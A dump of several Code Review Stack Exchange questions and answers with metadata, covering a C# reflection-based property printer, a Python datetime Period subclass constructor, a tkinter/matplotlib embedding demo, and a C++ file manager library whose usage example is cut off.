for (int i = 0; i < tabs; i++)
{
result += " ";
}
result += string.Format("{0}: {1}\n", name, value == null ? string.Empty : value.ToString());
}
else
{
result += string.Format("{0}:\n", name);
result += value.PropertiesToString(++tabs);
}
tabs = initTabs;
}
return result;
}
</code></pre>
<p>Here is a class I'm using to test this code, along with the lines responsible for creating an instance of the class and writing its properties to the Console:</p>
<p>Class:</p>
<pre><code>public class Circle : IShape
{
public Circle(double x, double y, double radius)
{
Center = new Point
{
X = x,
Y = y
};
Radius = radius;
}
public Point Center { get; set; }
public double Radius { get; set; }
public double Area(int precision = 2)
{
return Math.Round(Radius * Radius * Math.PI, precision);
}
}
</code></pre>
<p>Main:</p>
<pre><code>public static void Main(string[] args)
{
IShape circle = new Circle(5, 5, 10);
Console.WriteLine(circle.PropertiesToString());
Console.ReadLine();
}
</code></pre>
<p>The above method will also cycle through nested objects and print those to the Console as well, adding in tabs for readability's sake.</p>
<p>I'm kind of unfamiliar with <code>System.Reflection</code> and was wondering if there was a more efficient way I could approach doing something like this.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T20:37:11.857",
"Id": "431247",
"Score": "0",
"body": "The null-references are handled within the method by just adding `string.Empty` to `result` if `value == null`. Otherwise I was only considering using this method for single objects, not collections."
}
] | [
{
"body": "<p>You should have a guard clause against someone passing in null </p>\n\n<p>PropertyInfo has a PropertyType and you should use that instead of </p>\n\n<pre><code> Type valueType = value.GetType();\n</code></pre>\n\n<p>as if value is null you will get a null reference error where PropertyType will give you the type of the property. </p>\n\n<p>You will need to fix this line as well if value is null. Again you will get a null reference error</p>\n\n<pre><code> result += value.PropertiesToString(++tabs);\n</code></pre>\n\n<p>Better to compare types then their names. Instead of </p>\n\n<pre><code> valueType.Name.Equals(\"String\")\n</code></pre>\n\n<p>use </p>\n\n<pre><code> valueType == typeof(string)\n</code></pre>\n\n<p>You should separate out gathering the properties and displaying them. I would have an extension method that returned IEnumerable> and then you could use linq to convert that into the strings and how you want it displayed. </p>\n\n<p>Other things to consider is if you have two object that reference each other you will get a stack overflow. </p>\n\n<p>I would recommend looking at <a href=\"https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.objectmanager?view=netframework-4.8\" rel=\"nofollow noreferrer\">https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.objectmanager?view=netframework-4.8</a> to see an example of an object walker. I think making the class IEnumerable is a bit confusion when learning and they would have been better making a method that returns IEnumerable. still a good place to start when learning about walking an object graph. </p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T21:16:09.713",
"Id": "222732",
"ParentId": "222729",
"Score": "6"
}
},
{
"body": "<h3>Bug</h3>\n\n<p>Your code does not handle <code>value == null</code> everywhere.</p>\n\n<blockquote>\n<pre><code>object value = property.GetValue(obj, null);\nType valueType = value.GetType(); // <- can throw the infamous NRE\n</code></pre>\n</blockquote>\n\n<h3>Review</h3>\n\n<ul>\n<li>Use a clear method name <code>RenderProperties</code>.</li>\n<li><code>int tabs = 0</code> does not allow flexibility for rendering <em>indents</em>. Use <code>string indent = \"\\t\"</code> instead.</li>\n<li><code>this T obj</code> is fine, but I would prefer <code>this T source</code>.</li>\n<li><code>string result = string.Empty;</code> and <code>result += ..</code> use a <code>System.Text.StringBuilder</code> instead; much better memory management. </li>\n<li>Use <em>var syntax</em> <code>var resultBuilder = new StringBuilder();</code>.</li>\n<li><code>obj.GetType().GetProperties();</code> should be extended to <em>public</em>, <em>instance</em> <code>BindingFlags</code> properties with <code>CanRead</code>, <code>GetGetMethod(false) != null</code> and <code>GetIndexParameters().Length == 0</code> to only include the publically accessible getter properties of the instance.</li>\n<li><code>valueType.Name.Equals(\"String\")</code> should be <code>value is String</code>. But perhaps you need a better strategy for determining which objects are <em>complex</em> ..</li>\n<li><code>for (int i = 0; i < tabs; i++) { result += ..</code> gets replaced completely with <code>indent</code> as earlier specified.</li>\n<li><code>string.Format(\"{0}: {1}\\n\" ..</code> should use <code>Environment.NewLine</code>, or even better use an overload on <code>StringBuilder</code> called <code>AppendFormatLine</code>. Same thing in the <code>else</code> clause.</li>\n<li><code>PropertiesToString(value, ++tabs);</code> can be replaced by <code>PropertiesToString(value, indent + indent);</code>.</li>\n</ul>\n\n<h3>Your Code Edited</h3>\n\n<ul>\n<li><p>I have decoupled retrieving properties from rendering. However, in another answer was suggested to go further and use a <code>tree walker</code> to adhere to best practices. That would be even better.</p></li>\n<li><p>I am asserting array or other collections do not require their items to be visited, and the complete object graph is a tree. You did never specify how to handle cyclic graphs, so they are out of scope :)</p></li>\n</ul>\n\n<p>Render properties:</p>\n\n<pre><code>public static string RenderProperties<T>(this T source, string indent = \"\\t\") \n where T : class\n{\n if (source == null) return string.Empty;\n indent = indent ?? string.Empty;\n var builder = new StringBuilder();\n var properties = GetAccessibleProperties(source);\n\n foreach (var property in properties)\n {\n RenderProperty(property, source, builder, indent);\n }\n\n return builder.ToString();\n}\n</code></pre>\n\n<p>Render property:</p>\n\n<pre><code>private static void RenderProperty(\n PropertyInfo property, object parent, StringBuilder builder, string indent)\n{\n Debug.Assert(property != null);\n Debug.Assert(parent != null);\n Debug.Assert(builder != null);\n Debug.Assert(indent != null);\n\n var name = property.Name;\n var value = property.GetValue(parent, null); // <- need to handle exception?\n\n if (value == null)\n {\n builder.AppendLine($\"{indent}{name}: \");\n }\n else if (value.GetType().IsValueType || value is string)\n {\n builder.AppendLine($\"{indent}{name}: {value}\");\n }\n else\n {\n builder.AppendLine(RenderProperties(value, indent + indent));\n }\n}\n</code></pre>\n\n<p>Get accessible properties:</p>\n\n<pre><code>private static IEnumerable<PropertyInfo> GetAccessibleProperties(object source)\n{\n Debug.Assert(source != null);\n // optimized for readibility over performance ->\n var properties = source.GetType()\n .GetProperties(\n BindingFlags.Instance // only instance properties\n | BindingFlags.Public) // publicly accessible only\n .Where(x =>\n x.CanRead // must have getter\n && x.GetGetMethod(false) != null // must have public getter\n && x.GetIndexParameters().Length == 0); // must not be an indexer\n return properties;\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T22:41:05.847",
"Id": "431384",
"Score": "0",
"body": "Will the `Debug.Assert()` lines throw exceptions if the conditions inside of them are met? I've not used or seen `Debug.Assert()` before, and am not sure what its purpose is either."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T02:44:44.130",
"Id": "431393",
"Score": "0",
"body": "Yes they will, but only in Debug configuration. I use these in private methods to make assertions. You could also throw ArgumentNullException if you want."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T18:33:40.337",
"Id": "431459",
"Score": "0",
"body": "In `GetAccessibleProperties` you mentioned the code was optimized for readability over performance. Could you also add code that is better for performance?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T19:26:51.163",
"Id": "431468",
"Score": "1",
"body": "@Delfino If your classes don't have indexers, leave out `x.GetIndexParameters().Length == 0`. Also, if your classes have only public getters (no internal or private setters etc.), leave out `x.GetGetMethod(false) != null`."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T21:49:06.567",
"Id": "222733",
"ParentId": "222729",
"Score": "6"
}
}
] | {
"AcceptedAnswerId": "222733",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T19:33:30.723",
"Id": "222729",
"Score": "6",
"Tags": [
"c#",
"beginner",
"recursion",
"reflection",
"extension-methods"
],
"Title": "Fetch and print all properties of an object graph as string"
} | 222729 |
<p>I am making a subclass of a well-established python class: <a href="https://pendulum.eustace.io/docs/#period" rel="nofollow noreferrer"><code>pendulum.Period</code></a>, which overrides both <code>__new__</code> and <code>__init__</code> (it does this because <em>it</em> is subclassing the python builtin class <code>timedelta</code>, which uses <code>__new__</code>). </p>
<p>In my case, I want my class to handle a wider range of arguments than the superclass. The only way I have managed to get the code to work is to <em>duplicate</em> my handling code in both <code>__new__</code> and <code>__init__</code> -- this is because, per the documentation, the arguments passed to <code>__new__</code> are then passed to the <code>__init__</code> of the new instance, unaltered.</p>
<p>The result is repeated code execution. Is this avoidable?</p>
<pre><code>from pendulum import Period, Date
def _toDate(val):
"""
Convert various inputs into a Date
"""
if isinstance(val, int) or isinstance(val, float):
return Date.fromtimestamp(val)
elif isinstance(val, tuple):
return Date(*val)
return Date(val.year, val.month, val.day)
class MyInterval(Period):
def __new__(cls, start, end, inclusive=True, **kwargs):
start = _toDate(start)
end = _toDate(end)
if inclusive:
end = end.add(days=1)
return super(MyInterval, cls).__new__(cls, start, end, **kwargs)
def __init__(self, start, end, inclusive=True, **kwargs):
"""
Creates a pendulum Period where the interval is limited to whole
days. Both are cast to dates, then the end date is incremented by
one day if inclusive=True
:param start: cast to date
:param end: cast to date
:param inclusive: [True] whether the last day of the interval should
be included (increments by 1 day)
"""
start = _toDate(start)
end = _toDate(end)
if inclusive:
end = end.add(days=1)
super(MyInterval, self).__init__(start, end, **kwargs)
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T01:55:10.053",
"Id": "431260",
"Score": "2",
"body": "Why do you need `__init__` if you have `__new__`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T08:29:18.127",
"Id": "431522",
"Score": "0",
"body": "@StephenRauch it's just because the superclass specifies both `__init__` and `__new__`. I depend on the superclass's code working in both steps, so I need to give it valid inputs to both those functions."
}
] | [
{
"body": "<p>If you don’t expect to be further subclassing <code>MyInterval</code>, you could just use a helper method for construction.</p>\n\n<pre><code>class MyInterval(Period):\n\n @classmethod\n def create(cls, start, end, inclusive=True, **kwargs):\n start = _toDate(start)\n end = _toDate(end)\n\n if inclusive:\n end = end.add(days=1)\n\n return cls(start, end, **kwargs)\n</code></pre>\n\n<p>Alternatively, you could use a helper method to avoid the duplicated code (but not duplicated execution).</p>\n\n<pre><code>class MyInterval(Period):\n\n @staticmethod\n def _fixup(start, end, inclusive):\n start = _toDate(start)\n end = _toDate(end)\n\n if inclusive:\n end = end.add(days=1)\n\n return start, end\n\n def __new__(cls, start, end, inclusive=True, **kwargs):\n start, end = cls._fixup(start, end, inclusive)\n return super().__new__(start, end, **kwargs)\n\n def __init__(self, start, end, inclusive=True, **kwargs):\n start, end = self._fixup(start, end, inclusive)\n return super().__init__(start, end, **kwargs)\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T08:26:42.740",
"Id": "431521",
"Score": "0",
"body": "I like the classmethod approach. The downside is obviously that it doesn't stop anyone from using the ordinary constructor- which may lead to unexpected results if the body code depends on the proper input processing at construction (though it doesn't really in this case)"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T02:26:16.420",
"Id": "222742",
"ParentId": "222731",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "222742",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T21:07:40.963",
"Id": "222731",
"Score": "4",
"Tags": [
"python",
"datetime",
"inheritance",
"interval",
"constructor"
],
"Title": "Time interval class that enhances constructor argument handling of its parent class"
} | 222731 |
<p>Investigating how to use tkinter controls with buttons and sliders and to combine these with matplotlib, I have come to the following code. Suggestions for improvements and tips are most welcome. Ultimate goal is to make some apps showing behavior of pendulums, springs and other physical systems where I can interactively change parameters like velocity, angle, weight, length, and so on.</p>
<p><a href="https://i.stack.imgur.com/90LGp.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/90LGp.png" alt="enter image description here"></a> </p>
<pre><code>import tkinter as tk
import matplotlib.pyplot as plt
from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg
import math
import numpy as np
FIG_SIZE = (8, 6)
PLOT_LIMIT = 12
TICK_INTERVAL = 1.5
def transform_point(point, angle):
alpha = - angle/180 * math.pi
x_t = point[0] * math.cos(alpha) - point[1] * math.cos(math.pi/2 - alpha)
y_t = point[0] * math.sin(alpha) + point[1] * math.sin(math.pi/2 - alpha)
return x_t, y_t
class MplMap():
@classmethod
def settings(cls, root, fig_size, plot_limit):
# set the plot outline, including axes going through the origin
cls.fig, cls.ax = plt.subplots(figsize=fig_size)
cls.plot_limit = plot_limit
cls.ax.set_xlim(-cls.plot_limit, cls.plot_limit)
cls.ax.set_ylim(-cls.plot_limit, cls.plot_limit)
cls.ax.set_aspect(1)
tick_range = np.arange(
round(-cls.plot_limit + (10*cls.plot_limit % TICK_INTERVAL*10)/10, 1),
cls.plot_limit + 0.1,
step=TICK_INTERVAL)
cls.ax.set_xticks(tick_range)
cls.ax.set_yticks(tick_range)
cls.ax.tick_params(axis='both', which='major', labelsize=6)
cls.ax.spines['left'].set_position('zero')
cls.ax.spines['right'].set_color('none')
cls.ax.spines['bottom'].set_position('zero')
cls.ax.spines['top'].set_color('none')
cls.canvas = FigureCanvasTkAgg(cls.fig, master=root)
@classmethod
def get_canvas(cls):
return cls.canvas
class PlotRectangle(MplMap):
def __init__(self):
self._facecolor = 'none'
self._edgecolor = 'green'
self._lw = 5
self.alpha = 0
c1 = (-1, +1)
c2 = (-2, +4)
c3 = (+2, +4)
c4 = (+1, +1)
self.a_shape = np.array([c1, c2, c3, c4])
self.plot_shape()
def plot_shape(self):
self.clear_map()
trsfd_shape = []
for point in self.a_shape:
trsfd_shape.append(transform_point(point, self.alpha))
trsfd_shape = np.array(trsfd_shape)
self.ax.fill(trsfd_shape[:, 0], trsfd_shape[:, 1],
fc=self._facecolor,
ec=self._edgecolor,
lw=self._lw)
self.canvas.draw()
def clear_map(self):
for patch in self.ax.patches:
patch.remove()
def set_color(self, color):
self._edgecolor = color
self.plot_shape()
def set_angle(self, alpha):
self.alpha = alpha
self.plot_shape()
def set_line_width(self, width):
self._lw = width/10
self.plot_shape()
class Tk_Handler():
def __init__(self, root, canvas, shape):
self.root = root
self.shape = shape
self.root.wm_title("Embedding MPL in tkinter")
sliders_frame = tk.Frame(self.root)
slider_frame_1 = tk.Frame(sliders_frame)
label_slider_1 = tk.Label(slider_frame_1, text='\nAngle: ')
slider_1 = tk.Scale(slider_frame_1, from_=-180, to=180, orient=tk.HORIZONTAL,
command=lambda angle: self._tilt_shape(angle))
slider_1.set(0)
label_slider_1.pack(side=tk.LEFT)
slider_1.pack(side=tk.LEFT)
slider_frame_1.pack()
slider_frame_2 = tk.Frame(sliders_frame)
label_slider_2 = tk.Label(slider_frame_2, text='\nWidth: ')
slider_2 = tk.Scale(slider_frame_2, from_=0, to=10, orient=tk.HORIZONTAL,
command=lambda width: self._lw_shape(width))
slider_2.set(5)
label_slider_2.pack(side=tk.LEFT)
slider_2.pack(side=tk.LEFT)
slider_frame_2.pack()
button_frame = tk.Frame(self.root)
quit_button = tk.Button(button_frame, text="Quit", command=self._quit)\
.pack(side=tk.LEFT)
green_button = tk.Button(button_frame, text="Green",\
command=lambda *args: self._color_shape('green', *args))\
.pack(side=tk.LEFT)
red_button = tk.Button(button_frame, text="Red",\
command=lambda *args: self._color_shape('red', *args))\
.pack(side=tk.LEFT)
# fill the grid
tk.Grid.rowconfigure(self.root, 0, weight=1)
tk.Grid.columnconfigure(self.root, 0, weight=1)
sliders_frame.grid(row=0, column=0, sticky=tk.NW)
button_frame.grid(row=2, column=0, columnspan=2, sticky=tk.W)
canvas.get_tk_widget().grid(row=0, column=1, rowspan=1, columnspan=1,
sticky=tk.W+tk.E+tk.N+tk.S)
tk.mainloop()
def _quit(self):
self.root.quit() # stops mainloop
self.root.destroy() # this is necessary on Windows to prevent
# Fatal Python Error: PyEval_RestoreThread: NULL tstate
def _color_shape(self, color):
self.shape.set_color(color)
def _lw_shape(self, width):
self.shape.set_line_width(float(width)*4)
def _tilt_shape(self, angle):
self.shape.set_angle(float(angle))
def main():
root = tk.Tk()
MplMap.settings(root, FIG_SIZE, PLOT_LIMIT)
Tk_Handler(root, MplMap.get_canvas(), PlotRectangle())
if __name__ == "__main__":
main()
</code></pre>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T23:20:07.417",
"Id": "222734",
"Score": "2",
"Tags": [
"python",
"tkinter",
"matplotlib"
],
"Title": "Matplotlib embedded in tkinter"
} | 222734 |
<p>I wrote a file manager API in C++ to make the read-write operations easier in read/write cases, needing big structured data to/from multiple files. I want to get a review of the library if it's readable and easy to understand, and if it serves its purpose.</p>
<p>File.hpp</p>
<pre><code>#ifndef FILESAPI_FILE_H
#define FILESAPI_FILE_H
#include <iostream>
#include <mutex>
#include <fstream>
#include <vector>
#include <boost/assert.hpp>
#include "../utilities/DesignText.hpp"
#include "../utilities/Exceptions.hpp"
namespace FilesApi {
/// Use in read/write for non-vectors overload operator. e.g: file >> rw_t<T>{val, 1};
template<typename T> struct rw_s {
T* val;
size_t val_size;
rw_s(T &value, size_t arr_size = 1) : val(&value), val_size(arr_size) {
assert(arr_size > 0);
}
rw_s(T *value, size_t arr_size = 1) : val(value), val_size(arr_size) {
assert(arr_size > 0);
assert(value != nullptr);
}
};
/// Wrapper function for creation of rw_t object, without need for specify the type after the function name
/// Instead of call: f << rw_t<int>(a, size);
/// Call: f << rw_soft(a, size);
template<typename T> rw_s<T> rw_soft(T &value, size_t arr_size = 1) {
return rw_s<T>(value, arr_size);
}
template<typename T> rw_s<T> rw_soft(T *value, size_t arr_size = 1) {
return rw_soft(*value, arr_size);
}
/**
* >> if file_mode is OPEN_IN_ACTION:
* SINGLE_AND_DONE - read/write single time, and then close the file.
* SINGLE_AND_MORE - read/write single time, but don't close the file yet. After single read/write the mode will automatic update to SINGLE_AND_DONE mode.
* MULTIPLE - close the file only in programmer order, until then the file will be remain open.
*/
enum class ReadWriteMode {
SINGLE_AND_DONE,
SINGLE_AND_MORE,
MULTIPLE,
DONE
};
enum class FileAction {
READ,
WRITE,
NONE
};
enum class FileMode {
ALWAYS_OPEN,
OPEN_IN_ACTION
};
class File {
private:
bool is_ready;
std::string name;
std::string path;
FileMode file_mode;
ReadWriteMode read_write_mode;
int multiple_times_left;
FileAction file_action;
std::mutex read_write_mutex;
std::fstream file_ptr;
bool is_open;
std::ios_base::openmode read_flags;
std::ios_base::openmode write_flags;
bool use_exceptions;
/**
* Open file in specific format
* \param mode_flags - fstream.open() flags.
* \param new_file_action - Open purpose.
*/
void open(std::ios_base::openmode mode_flags, const FileAction &new_file_action);
/**
* Auto update for the file's mode (READ / WRITE / NONE).
*/
void update_rwm();
/**
* Close file
* \param automatic - Close request from API(true) or from User(false)
*/
void close(bool automatic);
/**
* Is file ready for read/write actions. Exception if file not ready.
* \return Is file name not empty.
*/
bool is_file_ready(int);
public:
/**
* Ctor
* \param file_name - if @param file_path == "" => path/to/file/filename.bin else filename.bin
* \param exceptions - Throw exceptions on errors Or use bold cout messages.
* \param file_path - file's path.
*/
explicit File(const std::string &file_name, bool exceptions = false, const std::string &file_path = "");
/**
* Close the file.
*/
~File();
/**
* Force close the file.
*/
void close();
/**
* Set file's name.
* \param new_name - New file's name.
*/
void set_name(const std::string &new_name);
/**
* Set file's name.
* \param new_name - New file's name.
*/
File &operator=(const std::string &new_name);
/**
* Get file's name
* \return File's name.
*/
std::string get_name();
/**
* Is file ready for read/write actions. Without exception if file not ready.
* \return Is file name not empty.
*/
bool is_file_ready();
/**
* Init current file's mode
* \param mode - How much reads/writes until the file will close.
* \param multiple_times - if mode is multiple note how much times (-1 for unknown - won't close the file without programmer order/interrupt).
*/
void init_read_write_mode(const ReadWriteMode &mode, int multiple_times = -1);
/**
* Init read fstream flags.
* \param read_flags - When open function in read mode will occur, those flags will be in use.
*/
void init_read_flags(std::ios_base::openmode read_flags = std::ios_base::in);
/**
* Init write fstream flags.
* \param write_flags - When open function in write mode will occur, those flags will be in use.
*/
void init_write_flags(std::ios_base::openmode write_flags = std::ios::out | std::ios::binary | std::ios::in);
/**
* Read to non-vector variable
* \param T - variable type
* \param val - variable address
* \param data_size - in case of array- array's size.
* \return this File object.
*/
template<class T>
File &read(T *val, size_t data_size = 1);
/**
* Read to vector variable
* \tparam T - vector type
* \param val - vector to read into (Have to be initialize with the size of inputs' count).
* \param data_size - vector to read into (Have to be initialize with the size of inputs' count).
* \return this File object.
*/
template<class T>
File &read(std::vector<T> &val);
/**
* Write non-vector variable
* \tparam T - variable type
* \param val - variable address
* \param data_size - in case of array- array's size.
* \return this File object.
*/
template<class T>
File &write(const T *val, size_t data_size = 1);
/**
* Write vector variable
* \tparam T - vector type
* \param val - vector to write.
* \return this File object.
*/
template<class T>
File &write(const std::vector<T> &val);
/**
* Read to vector
* \tparam T - vector type
* \param data - vector to read into
* \return this File object.
*/
template<class T>
File &operator>>(std::vector<T> &data);
/**
* Read to non-vector
* \tparam T - variable type
* \param info - {
* val - variable non-vector to read into
* val_size - in case of array- array's size (else leave as default 1)
* }
* \return this File object
*/
template<class T>
File &operator>>(const rw_s<T> &info);
/**
* Write vector to file
* \tparam T - vector type
* \param data - vector to write
* \return this File object
*/
template<class T>
File &operator<<(const std::vector<T> &data);
/**
* Write non-vector to file
* \tparam T - variable type
* \param info - {
* val - variable non-vector to write
* val_size - in case of array- array's size (else leave as default 1)
* }
* \return this File object
*/
template<class T>
File &operator<<(const rw_s<T> &info);
};
template<class T>
File &File::read(T *val, const size_t data_size) {
if (!is_file_ready(0)) {
return *this;
}
open(read_flags, FileAction::READ);
std::lock_guard<std::mutex> guard(read_write_mutex);
file_ptr.read((char *) (val), sizeof(T) * data_size);
update_rwm();
return *this;
}
template<class T>
File &File::write(const T *val, const size_t data_size) {
if (!is_file_ready(0)) {
return *this;
}
open(write_flags, FileAction::WRITE);
std::lock_guard<std::mutex> guard(read_write_mutex);
file_ptr.write(reinterpret_cast<const char *>(val), sizeof(T) * data_size);
update_rwm();
return *this;
}
template<class T>
File &File::read(std::vector<T> &val) {
if (!is_file_ready(0)) {
return *this;
}
open(read_flags, FileAction::READ);
std::lock_guard<std::mutex> guard(read_write_mutex);
file_ptr.read(reinterpret_cast<char *>(val.data()), sizeof(T) * val.size());
update_rwm();
return *this;
}
template<typename T>
File &File::write(const std::vector<T> &val) {
if (!is_file_ready(0)) {
return *this;
}
open(write_flags, FileAction::WRITE);
std::lock_guard<std::mutex> guard(read_write_mutex);
file_ptr.write(reinterpret_cast<const char *>(val.data()), sizeof(T) * val.size());
update_rwm();
return *this;
}
template<class T>
File &File::operator>>(std::vector<T> &data) {
return read(data);
}
template<class T>
File &File::operator>>(const rw_s<T> &info) {
return read(info.val, info.val_size);
}
template<class T>
File &File::operator<<(const std::vector<T> &data) {
return write(data);
}
template<class T>
File &File::operator<<(const rw_s<T> &info) {
return write(info.val, info.val_size);
}
}
#endif //FILESAPI_FILE_H
</code></pre>
<p>FilesManager.hpp</p>
<pre><code>#ifndef FILESAPI_FILESMANAGER_H
#define FILESAPI_FILESMANAGER_H
#include <iostream>
#include <vector>
#include <map>
#include <memory>
#include "File.hpp"
namespace FilesApi {
using add_data = std::tuple<const std::string, const std::string>;
class FilesManager {
private:
std::map<std::string, std::shared_ptr<File>> files;
size_t max_files; // zero for unlimited
std::string files_path; // Leave "" if there is no single path for all of the files
bool use_exceptions;
void remove_unusable_files();
public:
/**
* Ctor
* \param exceptions - Throw exceptions on errors Or use bold cout messages.
* \param max_files - Maximum files number to manage in this FilesManager object (0 for unlimited).
* \param files_path - if @param files_path == "" => in new file associate you will have to supply full
* file path, e.g: "path/to/file/filename.bin"
* else supply only file name, e.g: "filename.bin", if @param files_path == "path/to/file/"
*/
explicit FilesManager(bool exceptions = false, size_t max_files = 0, const std::string &files_path = "");
/**
* Add new file
* \param id - file id (will be use to get this File object).
* \param file - file's name or path (if @files_path == "").
*/
void add(const std::string &id, const std::string &file);
/**
* Remove file
* \param id - file's id
*/
void remove(const std::string &id);
/**
* Get file
* \param id - file's id
*/
File &get(const std::string &id);
/**
* Add new file
* \param data - tuple(0) => file id. tuple(1_ => file name or path (if files path is "").
*/
void operator+=(const add_data &data);
/**
* Get file
* \param id - file's id
*/
File &operator[](const std::string &id);
/**
* Remove file
* \param id - file's id
*/
void operator-=(const std::string &id);
};
}
#endif //FILESAPI_FILESMANAGER_H
</code></pre>
<p>File.cpp</p>
<pre><code>#include "../headers/File.hpp"
namespace FilesApi {
File::File(const std::string &file_name, bool exceptions, const std::string &file_path) {
name = file_name;
path = file_path;
is_ready = !name.empty();
use_exceptions = exceptions;
is_open = false;
file_mode = FileMode::OPEN_IN_ACTION;
read_write_mode = ReadWriteMode::DONE;
file_action = FileAction::NONE;
write_flags = std::ios::out | std::ios::binary | std::ios::in;
read_flags = std::ios_base::in;
}
File::~File() {
std::lock_guard<std::mutex> guard(read_write_mutex);
close();
}
void File::open(std::ios_base::openmode mode_flags, const FileAction &new_file_action) {
std::lock_guard<std::mutex> guard(read_write_mutex);
if (!is_file_ready(0)) {
if (is_open) {
file_ptr.close();
is_open = false;
}
return;
}
if (file_action != new_file_action) {
file_ptr.close();
is_open = false;
if (file_action != FileAction::NONE) {
std::cout
<< DesignText::make_colored("Pay attention: file mission replaced by another one. (file closed)",
DesignText::Color::RED, false) << std::endl;
}
}
file_action = new_file_action;
if (!is_open) {
file_ptr.open(path + name, mode_flags);
if (file_ptr.fail()) {
is_open = false;
if (!use_exceptions) {
std::cout << DesignText::make_colored("Error Opening file: " + path + name,
DesignText::Color::RED, true) << std::endl;
} else {
throw FileOpenException(path + name);
}
}
is_open = true;
std::cout << DesignText::make_colored("File has safely opened.", DesignText::Color::GREEN, false)
<< std::endl;
}
}
void File::close(bool automatic) {
if ((!automatic) || (file_mode == FileMode::OPEN_IN_ACTION)) {
if (is_open) {
file_ptr.close();
is_open = false;
read_write_mode = ReadWriteMode::DONE;
file_action = FileAction::NONE;
std::cout << DesignText::make_colored("File has safely closed.", DesignText::Color::GREEN, false)
<< std::endl;
}
}
}
void File::close() {
close(false);
}
void File::update_rwm() {
if (!is_file_ready(0)) {
return;
}
switch (read_write_mode) {
case ReadWriteMode::SINGLE_AND_DONE:
case ReadWriteMode::DONE:
close(true);
break;
case ReadWriteMode::SINGLE_AND_MORE:
read_write_mode = ReadWriteMode::SINGLE_AND_DONE;
break;
case ReadWriteMode::MULTIPLE:
if (multiple_times_left > -1 && !--multiple_times_left) {
multiple_times_left = -1;
close(true);
}
break;
}
}
void File::init_read_write_mode(const ReadWriteMode &new_mode, const int multiple_times) {
read_write_mode = new_mode;
multiple_times_left = multiple_times;
}
void File::init_read_flags(const std::ios_base::openmode new_read_flags) {
read_flags = new_read_flags;
}
void File::init_write_flags(const std::ios_base::openmode new_write_flags) {
write_flags = new_write_flags;
}
void File::set_name(const std::string &new_name) {
if (!new_name.empty()) {
name = new_name;
is_ready = true;
return;
}
if (name.empty()) {
is_ready = false;
}
}
std::string File::get_name() {
return name;
}
bool File::is_file_ready(int) {
if (!is_ready) {
if (!use_exceptions) {
std::cout << DesignText::make_colored("Pay attention: file name is empty. can't open this file.",
DesignText::Color::RED, true) << std::endl;
} else {
throw FileNotReadyException();
}
return false;
}
return true;
}
bool File::is_file_ready() {
return is_ready;
}
File &File::operator=(const std::string &new_name) {
set_name(new_name);
return *this;
}
}
</code></pre>
<p>FilesManager.cpp</p>
<pre><code>#include "../headers/FilesManager.hpp"
namespace FilesApi {
FilesManager::FilesManager(bool exceptions, size_t max_files, const std::string &files_path)
: max_files(max_files), files_path(files_path), use_exceptions(exceptions) {
}
void FilesManager::add(const std::string &id, const std::string &file) {
remove_unusable_files();
if (max_files == 0 || files.size() + 1 < max_files) {
files.insert(std::pair<std::string,
std::shared_ptr<File>>(id, std::make_shared<File>(file, use_exceptions, files_path)));
}
}
void FilesManager::remove(const std::string &id) {
remove_unusable_files();
files.erase(id);
}
File &FilesManager::get(const std::string &id) {
remove_unusable_files();
File *ret_file = files[id].get();
if (ret_file == nullptr) {
files[id] = std::make_shared<File>("", use_exceptions, files_path);
ret_file = files[id].get();
}
return *ret_file;
}
void FilesManager::operator+=(const add_data &data) {
add(std::get<0>(data), std::get<1>(data));
}
File &FilesManager::operator[](const std::string &id) {
return get(id);
}
void FilesManager::operator-=(const std::string &id) {
remove(id);
}
void FilesManager::remove_unusable_files() {
for (auto &file : files) {
if (file.second && !file.second->is_file_ready()) {
files.erase(file.first);
}
}
}
}
</code></pre>
<p>Use example:</p>
<pre><code>#include <iostream>
#include <vector>
#include <complex>
#include "../src/headers/FilesManager.hpp"
using namespace std;
using namespace FilesApi;
int mainFilesManagerOperatorsTest() {
FilesManager fm(false, 0, "../TestFiles/");
string files[] = {"test_file.bin", "test_file2.bin"};
fm["1"] = files[0];
vector<complex<float>> wdata = {{1, 9}, {3, 75}, {213.34, 21.4}, {153.1, 15.85}};
vector<complex<float>> rdata(wdata.size());
fm["1"].init_read_write_mode(ReadWriteMode::SINGLE_AND_DONE);
//fm.get("1").write(wdata.data(), wdata.size()); // Use it as complex<float> array. Possible.
fm["1"].write(wdata);
fm["1"].init_read_write_mode(ReadWriteMode::SINGLE_AND_DONE);
fm["1"].read(rdata);
fm += add_data("5", files[1]); // Add file to collection
int a = 12;
int b;
fm["5"] << rw_soft(a); // Work
fm["5"].write(&a); // Work
fm["5"] >> rw_soft(b); // Work
cout << b << endl; // Prints 12
fm -= "5"; // Remove the file from collection
fm["5"] << rw_soft(a); // Error
fm["5"].write(&a); // Error
fm["5"] >> rw_soft(b); // Error
//fm["2"] = files[1];
fm += add_data("2", files[1]);
for (size_t i = 0; i < rdata.size(); i++) {
cout << rdata[i] << endl;
}
